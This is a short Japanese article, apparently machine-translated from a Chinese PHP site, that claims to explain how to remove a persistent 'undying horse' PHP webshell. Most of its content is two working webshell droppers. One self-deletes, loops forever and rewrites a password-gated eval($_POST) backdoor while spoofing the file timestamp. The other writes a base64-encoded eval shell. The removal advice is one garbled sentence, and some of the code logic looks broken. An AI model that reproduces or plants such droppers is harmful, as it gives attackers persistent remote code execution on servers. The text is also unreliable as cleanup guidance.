ホームページ >バックエンド開発 >PHPの問題 >PHP不滅の馬を削除する方法

PHP不滅の馬を削除する方法

(*-*)浩
(*-*)浩オリジナル
2019-10-10 10:13:414675ブラウズ

PHP不滅の馬を削除する方法

不死の馬とは何ですか?

メモリ ホースは、平たく言えば不滅の馬であり、決して終了せず PHP プロセス内に常駐し、無限に実行されるプログラムを実行します。

生成プロセス (推奨学習: PHP ビデオ チュートリアル)

無死马.php → サーバーにアップロード → サーバー実行ファイル → サーバー ローカル無制限のループ生成 (一文.php)

インターネット上で死马循環なし

<?php ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = &#39;2.php&#39;;
$code = &#39;<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>&#39;;while (1){
    file_put_contents($file,$code);
    system(&#39;touch -m -d "2018-12-01 09:10:12" .2.php&#39;);
    usleep(5000);
} 
?>

インターネット上で死马循環なし、ただし判定は行わないこのファイルが存在する場合、メモリ トロイの木馬を回避するには、このファイル内のシェルをコメント アウトするだけで済みます。

正しい姿勢は次のようになります:

Copy<?php
 ignore_user_abort(true);
 set_time_limit(0);
 $file = &#39;c.php&#39;;
 $code = base64_decode(&#39;PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+&#39;); while(true) {     if(md5(file_get_contents($file))===md5($code)) {
         file_put_contents($file, $code);
     }
     usleep(50);
 }?>

以上がPHP不滅の馬を削除する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。